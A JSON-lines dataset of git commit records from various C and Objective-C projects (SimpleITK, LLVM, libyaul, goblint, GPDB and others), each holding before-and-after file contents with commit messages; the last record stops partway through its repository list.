{"commit":"a935263bc17f40ed671abc3157adbc04ade7b3fa","old_file":"Source\/SimpleITKMacro.h","new_file":"Source\/SimpleITKMacro.h","old_contents":"#ifndef __SimpleITKMacro_h\n#define __SimpleITKMacro_h\n\n#include <stdint.h>\n#include <itkImageBase.h>\n#include <itkImage.h>\n#include <itkLightObject.h>\n#include <itkSmartPointer.h>\n\n\/\/ Define macros to aid in the typeless layer\ntypedef itk::ImageBase<3> SimpleImageBase;\n\nnamespace itk {\n  namespace simple {\n\n    \/\/ To add a new type you must:\n    \/\/ 1. Add an entry to ImageDataType\n    \/\/ 2. Add to the sitkDataTypeSwitch\n    \/\/ 3. Add the new type to ImageFileReader\/ImageFileWriter\n\n    enum ImageDataType {\n      sitkUInt8,    \/\/ Unsigned 8 bit integer\n      sitkInt16,   \/\/ Signed 16 bit integer\n      sitkInt32,   \/\/ Signed 32 bit integer\n      sitkFloat32,  \/\/ 32 bit float\n    };\n\n\n#define sitkImageDataTypeCase(typeN, type, call ) \\\n    case typeN: { typedef type DataType; call; }; break\n\n#define sitkImageDataTypeSwitch( call ) \\\n    sitkImageDataTypeCase ( sitkUInt8, uint8_t, call ); \\\n    sitkImageDataTypeCase ( sitkInt16, int16_t, call ); \\\n    sitkImageDataTypeCase ( sitkInt32, int32_t, call ); \\\n    sitkImageDataTypeCase ( sitkFloat32, float, call );\n\n  }\n}    \n\n#endif\n","new_contents":"#ifndef __SimpleITKMacro_h\n#define __SimpleITKMacro_h\n\n\n\/\/ Ideally, take the types from the C99 standard.  However,\n\/\/ VS 8 does not have stdint.h, but they are defined anyway.\n#ifndef _MSC_VER\n\t#include <stdint.h>\n#endif\n\n#include <itkImageBase.h>\n#include <itkImage.h>\n#include <itkLightObject.h>\n#include <itkSmartPointer.h>\n\n\/\/ Define macros to aid in the typeless layer\ntypedef itk::ImageBase<3> SimpleImageBase;\n\nnamespace itk {\n  namespace simple {\n\n    \/\/ To add a new type you must:\n    \/\/ 1. Add an entry to ImageDataType\n    \/\/ 2. Add to the sitkDataTypeSwitch\n    \/\/ 3. Add the new type to ImageFileReader\/ImageFileWriter\n\n    enum ImageDataType {\n      sitkUInt8,    \/\/ Unsigned 8 bit integer\n      sitkInt16,   \/\/ Signed 16 bit integer\n      sitkInt32,   \/\/ Signed 32 bit integer\n      sitkFloat32,  \/\/ 32 bit float\n    };\n\n\n#define sitkImageDataTypeCase(typeN, type, call ) \\\n    case typeN: { typedef type DataType; call; }; break\n\n#define sitkImageDataTypeSwitch( call ) \\\n    sitkImageDataTypeCase ( sitkUInt8, uint8_t, call ); \\\n    sitkImageDataTypeCase ( sitkInt16, int16_t, call ); \\\n    sitkImageDataTypeCase ( sitkInt32, int32_t, call ); \\\n    sitkImageDataTypeCase ( sitkFloat32, float, call );\n\n  }\n}    \n\n#endif\n","subject":"Support for MS Visual Studio 2008.","message":"Support for MS Visual Studio 2008.\n","lang":"C","license":"apache-2.0","repos":"SimpleITK\/Staging,SimpleITK\/Staging,SimpleITK\/Staging,SimpleITK\/Staging,SimpleITK\/Staging,SimpleITK\/Staging,SimpleITK\/Staging"}
{"commit":"6536132facc72b11a630fef777d446e06dfeeed8","old_file":"test\/FrontendC\/2010-06-28-nowarn.c","new_file":"test\/FrontendC\/2010-06-28-nowarn.c","old_contents":"\/\/ RUN: %llvmgcc %s -c -m32 -fasm-blocks -o \/dev\/null\n\/\/ This should not warn about unreferenced label. 7729514.\n\/\/ XFAIL: *\n\/\/ XTARGET: i386-apple-darwin,x86_64-apple-darwin,i686-apple-darwin\n\nvoid quarterAsm(int array[], int len)\n{\n  __asm\n  {\n    mov esi, array;\n    mov ecx, len;\n    shr ecx, 2;\nloop:\n    movdqa xmm0, [esi];\n    psrad xmm0, 2;\n    movdqa [esi], xmm0;\n    add esi, 16;\n    sub ecx, 1;\n    jnz loop;\n  }\n}\n","new_contents":"\/\/ RUN: %llvmgcc %s -c -m32 -fasm-blocks -o \/dev\/null\n\/\/ This should not warn about unreferenced label. 7729514.\n\/\/ XFAIL: *\n\/\/ XTARGET: x86,i386,i686\n\nvoid quarterAsm(int array[], int len)\n{\n  __asm\n  {\n    mov esi, array;\n    mov ecx, len;\n    shr ecx, 2;\nloop:\n    movdqa xmm0, [esi];\n    psrad xmm0, 2;\n    movdqa [esi], xmm0;\n    add esi, 16;\n    sub ecx, 1;\n    jnz loop;\n  }\n}\n","subject":"Fix this XTARGET so that this does doesn't XPASS on non-darwin hosts.","message":"Fix this XTARGET so that this does doesn't XPASS on non-darwin hosts.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@108040 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm"}
{"commit":"061a6dd3104815719c59aa4fed512be64cb2feab","old_file":"include\/nekit\/crypto\/stream_cipher_interface.h","new_file":"include\/nekit\/crypto\/stream_cipher_interface.h","old_contents":"","new_contents":"\/\/ MIT License\n\n\/\/ Copyright (c) 2017 Zhuhao Wang\n\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#pragma once\n\n#include <memory>\n\n#include <boost\/noncopyable.hpp>\n\nnamespace nekit {\nnamespace crypto {\n\nenum class ErrorCode { NoError, ValidationFailed };\n\nenum class Action { Decryption = 0, Encryption = 1 };\n\n\/\/ This class provide support for stream cipher or block cipher in stream mode.\nclass StreamCipherInterface: private boost::noncopyable {\n public:\n  virtual ~StreamCipherInterface() = default;\n\n  virtual void SetKey(const uint8_t *data, bool copy) = 0;\n  virtual void SetIv(const uint8_t *data, bool copy) = 0;\n\n  virtual ErrorCode Process(const uint8_t *input, size_t len,\n                            const uint8_t *input_tag, uint8_t *output,\n                            uint8_t *output_tag) = 0;\n\n  virtual void Reset() = 0;\n\n  virtual size_t key_size() = 0;\n  virtual size_t iv_size() = 0;\n  virtual size_t block_size() = 0;\n  virtual size_t tag_size() = 0;\n};\n}  \/\/ namespace crypto\n}  \/\/ namespace nekit\n","subject":"Add interface for stream cipher","message":"FEAT: Add interface for stream cipher\n","lang":"C","license":"mit","repos":"zhuhaow\/libnekit,zhuhaow\/libnekit,zhuhaow\/libnekit,zhuhaow\/libnekit"}
{"commit":"e36c3d63728197449d4e555823d7d07db16e2c3a","old_file":"OCMustache\/MustacheToken.h","new_file":"OCMustache\/MustacheToken.h","old_contents":"\/\/\n\/\/  MustacheToken.h\n\/\/  OCMustache\n\/\/\n\/\/  Created by Wesley Moore on 31\/10\/10.\n\/\/  Copyright 2010 Wesley Moore. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nenum mustache_token_type {\n\tmustache_token_type_etag = 1, \/\/ Escaped tag\n\tmustache_token_type_utag, \/\/ Unescaped tag\n\tmustache_token_type_section,\n\tmustache_token_type_inverted,\n\tmustache_token_type_static, \/\/ Static text\n\tmustache_token_type_partial\n};\n\n@interface MustacheToken : NSObject {\n\tenum mustache_token_type type;\n\tconst char *content;\n\tNSUInteger content_length;\n}\n\n@property(nonatomic, assign) enum mustache_token_type type;\n@property(nonatomic, assign) const char *content;\n@property(nonatomic, assign) size_t contentLength;\n\n- (id)initWithType:(enum mustache_token_type)token_type content:(const char *)content contentLength:(NSUInteger)length;\n- (NSString *)contentString;\n\n@end\n","new_contents":"\/\/\n\/\/  MustacheToken.h\n\/\/  OCMustache\n\/\/\n\/\/  Created by Wesley Moore on 31\/10\/10.\n\/\/  Copyright 2010 Wesley Moore. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nenum mustache_token_type {\n\tmustache_token_type_etag = 1, \/\/ Escaped tag\n\tmustache_token_type_utag, \/\/ Unescaped tag\n\tmustache_token_type_section,\n\tmustache_token_type_inverted,\n\tmustache_token_type_static, \/\/ Static text\n\tmustache_token_type_partial\n};\n\n@interface MustacheToken : NSObject {\n\tenum mustache_token_type type;\n\tconst char *content;\n\tNSUInteger content_length;\n}\n\n@property(nonatomic, assign) enum mustache_token_type type;\n@property(nonatomic, assign) const char *content;\n@property(nonatomic, assign) NSUInteger contentLength;\n\n- (id)initWithType:(enum mustache_token_type)token_type content:(const char *)content contentLength:(NSUInteger)length;\n- (NSString *)contentString;\n\n@end\n","subject":"Fix type mismatch between property and ivar","message":"Fix type mismatch between property and ivar","lang":"C","license":"bsd-3-clause","repos":"wezm\/OCMustache,wezm\/OCMustache"}
{"commit":"d4754ea5df0dc77ad9de3d05a36e89ed2a7ebd9b","old_file":"src\/libcsg\/modules\/io\/gmxtopologyreader.h","new_file":"src\/libcsg\/modules\/io\/gmxtopologyreader.h","old_contents":"\/*\n * Copyright 2009-2019 The VOTCA Development Team (http:\/\/www.votca.org)\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef _VOTCA_CSG_GMXTOPOLOGYREADER_H\n#define _VOTCA_CSG_GMXTOPOLOGYREADER_H\n\n#include <string>\n#include <votca\/csg\/topologyreader.h>\n\nnamespace votca {\nnamespace csg {\n\n\/**\n    \\brief reader for gromacs topology files\n\n    This class encapsulates the gromacs reading functions and provides an\n   interface to fill a topolgy class\n\n*\/\nclass GMXTopologyReader : public TopologyReader {\n public:\n  GMXTopologyReader() = default;\n\n  \/\/\/ read a topology file\n  bool ReadTopology(std::string file, Topology &top) override;\n\n private:\n};\n\n}  \/\/ namespace csg\n}  \/\/ namespace votca\n\n#endif \/* _VOTCA_CSG_GMXTOPOLOGYREADER_H *\/\n","new_contents":"\/*\n * Copyright 2009-2019 The VOTCA Development Team (http:\/\/www.votca.org)\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef _VOTCA_CSG_GMXTOPOLOGYREADER_H\n#define _VOTCA_CSG_GMXTOPOLOGYREADER_H\n\n#include <string>\n#include <votca\/csg\/topologyreader.h>\n#include <votca\/tools\/unitconverter.h>\n\nnamespace votca {\nnamespace csg {\n\n\/**\n    \\brief reader for gromacs topology files\n\n    This class encapsulates the gromacs reading functions and provides an\n   interface to fill a topolgy class\n\n*\/\nclass GMXTopologyReader : public TopologyReader {\n public:\n  GMXTopologyReader() = default;\n\n  \/\/\/ read a topology file\n  bool ReadTopology(std::string file, Topology &top) override;\n\n private:\n};\n\n}  \/\/ namespace csg\n}  \/\/ namespace votca\n\n#endif \/* _VOTCA_CSG_GMXTOPOLOGYREADER_H *\/\n","subject":"Add unitconverter include to gmx top reader","message":"Add unitconverter include to gmx top reader\n","lang":"C","license":"apache-2.0","repos":"MrTheodor\/csg,MrTheodor\/csg,votca\/csg,MrTheodor\/csg,votca\/csg,votca\/csg,MrTheodor\/csg,MrTheodor\/csg,votca\/csg"}
{"commit":"c33b5c9ef5b597850f66c66e8b68451f15adcfe7","old_file":"libyaul\/scu\/bus\/a\/cs0\/dram-cartridge\/dram-cartridge.h","new_file":"libyaul\/scu\/bus\/a\/cs0\/dram-cartridge\/dram-cartridge.h","old_contents":"\/*\n * Copyright (c) 2012 Israel Jacques\n * See LICENSE for details.\n *\n * Israel Jacques <mrko@eecs.berkeley.edu>\n *\/\n\n#ifndef _DRAM_CARTRIDGE_H__\n#define _DRAM_CARTRIDGE_H__\n\nextern void dram_init(void);\n\n#endif \/* !_DRAM_CARTRIDGE_H_\n","new_contents":"\/*\n * Copyright (c) 2012 Israel Jacques\n * See LICENSE for details.\n *\n * Israel Jacques <mrko@eecs.berkeley.edu>\n *\/\n\n#ifndef _DRAM_CARTRIDGE_H__\n#define _DRAM_CARTRIDGE_H__\n\nextern void dram_cartridge_init(void);\n\n#endif \/* !_DRAM_CARTRIDGE_H_\n","subject":"Change incorrect prototype from 'dram_init(void)' to 'dram_cartridge_init(void)'","message":"Change incorrect prototype from 'dram_init(void)' to 'dram_cartridge_init(void)'\n","lang":"C","license":"mit","repos":"ChillyWillyGuru\/libyaul,ChillyWillyGuru\/libyaul"}
{"commit":"1d37f17343715e08ea2f206f7df4e3c6edf2ecf8","old_file":"tests\/regression\/31-ikind-awars-ints\/05-shift.c","new_file":"tests\/regression\/31-ikind-awars-ints\/05-shift.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.interval --enable exp.partition-arrays.enabled --set ana.activated \"['base', 'mallocWrapper']\"\nint main(void) {\n    \/\/ Shifting by a negative number is UB, but we should still not crash on it, but go to top instead\n    int v = -1;\n    int r = 17;\n    int u = r >> v;\n}\n","subject":"Test for shift by negative","message":"Test for shift by negative\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"4a882fe26dab76ae7b0c89459a5808cfef99055a","old_file":"libyaul\/kernel\/mm\/slob.h","new_file":"libyaul\/kernel\/mm\/slob.h","old_contents":"\/*\n * Copyright (c) 2012 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#ifndef _SLOB_H_\n#define _SLOB_H_\n\n#include <stddef.h>\n\n\/*-\n * Restrictions\n *\n *   1. Allocation requests bigger than SLOB_PAGE_BREAK_2ND cannot be\n *      serviced. This is due to the memory block manager not able to\n *      guarantee that sequential allocations of SLOB pages will be\n *      contiguous.\n *\/\n\n\/*\n * Adjust the number of pages to be statically allocated as needed. If\n * memory is quickly exhausted, increase the SLOB page count.\n *\/ \n#ifndef SLOB_PAGE_COUNT\n#define SLOB_PAGE_COUNT 4\n#endif \/* !SLOB_PAGE_COUNT *\/\n\n#define SLOB_PAGE_SIZE  0x1000\n#define SLOB_PAGE_MASK  (~(SLOB_PAGE_SIZE - 1))\n\n#define SLOB_PAGE_BREAK_1ST 0x0100\n#define SLOB_PAGE_BREAK_2ND 0x0400\n\nvoid slob_init(void);\nvoid *slob_alloc(size_t);\nvoid slob_free(void *);\n\n#endif \/* _SLOB_H_ *\/\n","new_contents":"\/*\n * Copyright (c) 2012 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#ifndef _SLOB_H_\n#define _SLOB_H_\n\n#include <stddef.h>\n\n\/*-\n * Restrictions\n *\n *   1. Heap size limit: Allocation requests bigger than\n *      SLOB_PAGE_BREAK_2ND cannot be serviced. This is due to the\n *      memory block manager not able to guarantee that sequential\n *      allocations of SLOB pages will be contiguous.\n *\/\n\n\/*\n * Adjust the number of pages to be statically allocated as needed. If\n * memory is quickly exhausted, increase the SLOB page count.\n *\/ \n#ifndef SLOB_PAGE_COUNT\n#define SLOB_PAGE_COUNT 4\n#endif \/* !SLOB_PAGE_COUNT *\/\n\n#define SLOB_PAGE_SIZE  0x4000\n#define SLOB_PAGE_MASK  (~(SLOB_PAGE_SIZE - 1))\n\n#define SLOB_PAGE_BREAK_1ST 0x0100\n#define SLOB_PAGE_BREAK_2ND 0x0400\n\nvoid slob_init(void);\nvoid *slob_alloc(size_t);\nvoid slob_free(void *);\n\n#endif \/* _SLOB_H_ *\/\n","subject":"Change hard limit on heap","message":"Change hard limit on heap\n","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"}
{"commit":"249fbcfbc118c0b6d59cf421ac919d3febf3181f","old_file":"tests\/regression\/24-octagon\/15-problem-rec2.c","new_file":"tests\/regression\/24-octagon\/15-problem-rec2.c","old_contents":"","new_contents":"\/\/ PARAM: --sets solver td3 --set ana.activated \"['base','threadid','threadflag','octagon','mallocWrapper']\"\n\/\/ Example from https:\/\/github.com\/sosy-lab\/sv-benchmarks\/blob\/master\/c\/recursive-simple\/afterrec_2calls-1.c\n\nvoid f(int);\nvoid f2(int);\n\nvoid f(int n) {\n  if (n<3) return;\n  n--;\n  f2(n);\n  assert(1);\n}\n\nvoid f2(int n) {\n  if (n<3) return;\n  n--;\n  f(n);\n  assert(1);\n}\n\nint main(void) {\n  f(4);\n}\n","subject":"Add further issue with recursion","message":"Add further issue with recursion\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"8b3bd1defc7baa4537528fb45e7f8f365407992a","old_file":"NUCLEO_L053R8\/Button_HAL\/src\/main.c","new_file":"NUCLEO_L053R8\/Button_HAL\/src\/main.c","old_contents":"\/**\r\n * Using the HAL library\r\n *\/\r\n\r\n#include \"stm32l0xx.h\"\r\n#include \"stm32l0xx_nucleo.h\"\r\n\r\nint main(void) {\r\n\r\n\tHAL_Init();\r\n\tBSP_LED_Init(LED2);\r\n\r\n\twhile (1) {\r\n\t\tBSP_LED_Toggle(LED2);\r\n\t\tHAL_Delay(500);\r\n\t}\r\n\r\n}\r\n","new_contents":"\/**\n * Using the HAL library\n *\/\n\n#include \"stm32l0xx.h\"\n#include \"stm32l0xx_nucleo.h\"\n\nGPIO_InitTypeDef GPIO_InitStructure;\nint main(void) {\n\n\tHAL_Init();\n\tBSP_LED_Init(LED2);\n\n\t\/\/ Initialise the button (PC13)\n\t__HAL_RCC_GPIOC_CLK_ENABLE();\n\tGPIO_InitStructure.Pin = GPIO_PIN_13;\n\tGPIO_InitStructure.Mode = GPIO_MODE_INPUT;\n\tGPIO_InitStructure.Pull = GPIO_NOPULL; \/\/ External pull up\n\tGPIO_InitStructure.Speed = GPIO_SPEED_LOW;\n\tHAL_GPIO_Init(GPIOC, &GPIO_InitStructure);\n\n\twhile (1) {\n\t\tif (HAL_GPIO_ReadPin(GPIOC, GPIO_PIN_13)) {\n\t\t\tBSP_LED_Toggle(LED2);\n\t\t\t\/\/HAL_Delay(500);\n\t\t}\n\t}\n\n}\n","subject":"Read the button with the HAL library","message":"Read the button with the HAL library\n","lang":"C","license":"mit","repos":"theapi\/stm32,theapi\/stm32"}
{"commit":"6e5eac20ada828fb2fbcd6fd262fe07e3d16fc54","old_file":"TTKMobile\/musicmobileglobaldefine.h","new_file":"TTKMobile\/musicmobileglobaldefine.h","old_contents":"#ifndef MUSICMOBILEGLOBALDEFINE_H\n#define MUSICMOBILEGLOBALDEFINE_H\n\n\/* =================================================\n * This file is part of the TTK Music Player project\n * Copyright (c) 2015 - 2017 Greedysky Studio\n * All rights reserved!\n * Redistribution and use of the source code or any derivative\n * works are strictly forbiden.\n   =================================================*\/\n\n#include \"musicglobal.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/exoprt\n\/\/\/\n\/\/\/\n#define MUSIC_EXPORT\n\n#ifdef MUSIC_EXPORT\n#  define MUSIC_MOBILE_EXPORT Q_DECL_EXPORT\n#else\n#  define MUSIC_MOBILE_EXPORT Q_DECL_IMPORT\n#endif\n\n#endif \/\/ MUSICMOBILEGLOBALDEFINE_H\n","new_contents":"#ifndef MUSICMOBILEGLOBALDEFINE_H\n#define MUSICMOBILEGLOBALDEFINE_H\n\n\/* =================================================\n * This file is part of the TTK Music Player project\n * Copyright (c) 2015 - 2017 Greedysky Studio\n * All rights reserved!\n * Redistribution and use of the source code or any derivative\n * works are strictly forbiden.\n   =================================================*\/\n\n#include \"musicglobal.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/exoprt\n\/\/\/\n\/\/\/\n#define MUSIC_EXPORT\n\n#ifdef MUSIC_EXPORT\n#  define MUSIC_MOBILE_EXPORT Q_DECL_EXPORT\n#else\n#  define MUSIC_MOBILE_IMPORT Q_DECL_IMPORT\n#endif\n\n#endif \/\/ MUSICMOBILEGLOBALDEFINE_H\n","subject":"Fix dll import name error[132001]","message":"Fix dll import name error[132001]\n","lang":"C","license":"lgpl-2.1","repos":"Greedysky\/Musicplayer,Greedysky\/Musicplayer,Greedysky\/Musicplayer"}
{"commit":"2d5cecc31b53f508e721e1411faa2455560823f7","old_file":"src\/extensions\/boost_json_spirit.h","new_file":"src\/extensions\/boost_json_spirit.h","old_contents":"","new_contents":"#include <json_spirit.h>\n\nnamespace sqlite {\n\t\/\/ json_spirit::mArray\n\ttemplate<> void get_col_from_db(database_binder& db, int inx, json_spirit::mArray& a) {\n\t\t\n\t\tjson_spirit::mValue tmp;\n\t\tstd::string str((char*)sqlite3_column_blob(db._stmt, inx), sqlite3_column_bytes(db._stmt, inx));\n\t\tjson_spirit::read(str, tmp);\n\t\t\n\t\ta = tmp.get_array();\n\t}\n\n\ttemplate<> database_binder& operator <<(database_binder& db, const json_spirit::mArray& val) {\n\t\tauto tmp = json_spirit::write(val);\n\t\tif(sqlite3_bind_blob(db._stmt, db._inx, tmp.c_str() , tmp.size() , SQLITE_TRANSIENT) != SQLITE_OK) {\n\t\t\tdb.throw_sqlite_error();\n\t\t}\n\n\t\t++db._inx;\n\t\treturn db;\n\t}\n\t\n\t\/\/ json_spirit::mObject\n\ttemplate<> void get_col_from_db(database_binder& db, int inx, json_spirit::mObject& a) {\n\n\t\tjson_spirit::mValue tmp;\n\t\tstd::string str((char*)sqlite3_column_blob(db._stmt, inx), sqlite3_column_bytes(db._stmt, inx));\n\t\tjson_spirit::read(str, tmp);\n\n\t\ta = tmp.get_obj();\n\t}\n\n\ttemplate<> database_binder& operator <<(database_binder& db, const json_spirit::mObject& val) {\n\t\tauto tmp = json_spirit::write(val);\n\t\tif(sqlite3_bind_blob(db._stmt, db._inx, tmp.c_str(), tmp.size(), SQLITE_TRANSIENT) != SQLITE_OK) {\n\t\t\tdb.throw_sqlite_error();\n\t\t}\n\n\t\t++db._inx;\n\t\treturn db;\n\t}\n}","subject":"Boost json::spirit support for mArrays and mObjects","message":"Boost json::spirit support for mArrays and mObjects\n","lang":"C","license":"mit","repos":"aminroosta\/sqlite_modern_cpp,zauguin\/sqlite_modern_cpp"}
{"commit":"4e0739eb319e4283da0616ac64bd2d65168861ef","old_file":"src\/backend\/utils\/resource_manager\/resource_manager.c","new_file":"src\/backend\/utils\/resource_manager\/resource_manager.c","old_contents":"\/*-------------------------------------------------------------------------\n *\n * resource_manager.c\n *\t  GPDB resource manager code.\n *\n *\n * Copyright (c) 2006-2017, Greenplum inc.\n *\n *\n -------------------------------------------------------------------------\n *\/\n#include \"postgres.h\"\n\n#include \"utils\/guc.h\"\n#include \"utils\/resource_manager.h\"\n\n\/*\n * GUC variables.\n *\/\nbool\tResourceScheduler;\t\t\t\t\t\t\/* Is scheduling enabled? *\/\nResourceManagerPolicy Gp_resource_manager_policy;\n","new_contents":"\/*-------------------------------------------------------------------------\n *\n * resource_manager.c\n *\t  GPDB resource manager code.\n *\n *\n * Copyright (c) 2006-2017, Greenplum inc.\n *\n *\n -------------------------------------------------------------------------\n *\/\n#include \"postgres.h\"\n\n#include \"utils\/guc.h\"\n#include \"utils\/resource_manager.h\"\n\n\/*\n * GUC variables.\n *\/\nbool\tResourceScheduler = false;\t\t\t\t\t\t\/* Is scheduling enabled? *\/\nResourceManagerPolicy Gp_resource_manager_policy;\n","subject":"Initialize global var to avoid macOS linker error","message":"Initialize global var to avoid macOS linker error\n\nThe macOS ld64 linker has an assertion on empty DATA segments\nwithin linker Atoms. This assertion trips on the resource_manager\nsince it only contains uninitialized variables placed for the BSS\nsegment. This fails linking the backend on the resource_manager\nSUBSYS object. Without anything initialized, an no exported\nfunction symbols, the sections are:\n\n$ nm -mgU src\/backend\/utils\/resource_manager\/SUBSYS.o\n0000000000000004 (common) (alignment 2^2) external _Gp_resource_manager_policy\n0000000000000001 (common) external _ResourceScheduler\n\nWith the initialization of the ResourceScheduler GUC variable:\n\n$ nm -mgU src\/backend\/utils\/resource_manager\/SUBSYS.o\n0000000000000004 (common) (alignment 2^2) external _Gp_resource_manager_policy\n0000000000000004 (__DATA,__common) external _ResourceScheduler\n\nSince the resource_manager in its current state is off anyways it\nseems harmless to initialize to the correct value.\n","lang":"C","license":"apache-2.0","repos":"xinzweb\/gpdb,xinzweb\/gpdb,kaknikhil\/gpdb,cjcjameson\/gpdb,Quikling\/gpdb,50wu\/gpdb,cjcjameson\/gpdb,janebeckman\/gpdb,50wu\/gpdb,janebeckman\/gpdb,ashwinstar\/gpdb,Chibin\/gpdb,yuanzhao\/gpdb,50wu\/gpdb,cjcjameson\/gpdb,50wu\/gpdb,Quikling\/gpdb,lisakowen\/gpdb,xinzweb\/gpdb,ashwinstar\/gpdb,edespino\/gpdb,jmcatamney\/gpdb,edespino\/gpdb,ashwinstar\/gpdb,ashwinstar\/gpdb,Quikling\/gpdb,edespino\/gpdb,Chibin\/gpdb,xinzweb\/gpdb,yuanzhao\/gpdb,lisakowen\/gpdb,cjcjameson\/gpdb,Chibin\/gpdb,50wu\/gpdb,ashwinstar\/gpdb,rvs\/gpdb,janebeckman\/gpdb,adam8157\/gpdb,Chibin\/gpdb,xinzweb\/gpdb,yuanzhao\/gpdb,Chibin\/gpdb,ashwinstar\/gpdb,Chibin\/gpdb,rvs\/gpdb,kaknikhil\/gpdb,rvs\/gpdb,yuanzhao\/gpdb,kaknikhil\/gpdb,cjcjameson\/gpdb,kaknikhil\/gpdb,jmcatamney\/gpdb,yuanzhao\/gpdb,Quikling\/gpdb,greenplum-db\/gpdb,ashwinstar\/gpdb,yuanzhao\/gpdb,xinzweb\/gpdb,greenplum-db\/gpdb,ashwinstar\/gpdb,greenplum-db\/gpdb,Quikling\/gpdb,lisakowen\/gpdb,greenplum-db\/gpdb,xinzweb\/gpdb,Quikling\/gpdb,greenplum-db\/gpdb,yuanzhao\/gpdb,rvs\/gpdb,edespino\/gpdb,jmcatamney\/gpdb,cjcjameson\/gpdb,adam8157\/gpdb,yuanzhao\/gpdb,janebeckman\/gpdb,jmcatamney\/gpdb,Chibin\/gpdb,edespino\/gpdb,kaknikhil\/gpdb,cjcjameson\/gpdb,50wu\/gpdb,janebeckman\/gpdb,jmcatamney\/gpdb,adam8157\/gpdb,jmcatamney\/gpdb,Chibin\/gpdb,janebeckman\/gpdb,kaknikhil\/gpdb,cjcjameson\/gpdb,rvs\/gpdb,lisakowen\/gpdb,cjcjameson\/gpdb,xinzweb\/gpdb,Quikling\/gpdb,yuanzhao\/gpdb,Quikling\/gpdb,lisakowen\/gpdb,adam8157\/gpdb,kaknikhil\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,edespino\/gpdb,Chibin\/gpdb,rvs\/gpdb,50wu\/gpdb,lisakowen\/gpdb,edespino\/gpdb,rvs\/gpdb,rvs\/gpdb,edespino\/gpdb,Chibin\/gpdb,rvs\/gpdb,janebeckman\/gpdb,kaknikhil\/gpdb,janebeckman\/gpdb,Quikling\/gpdb,edespino\/gpdb,50wu\/gpdb,yuanzhao\/gpdb,edespino\/gpdb,jmcatamney\/gpdb,kaknikhil\/gpdb,janebeckman\/gpdb,greenplum-db\/gpdb,cjcjameson\/gpdb,janebeckman\/gpdb,Quikling\/gpdb,adam8157\/gpdb,adam8157\/gpdb,greenplum-db\/gpdb,rvs\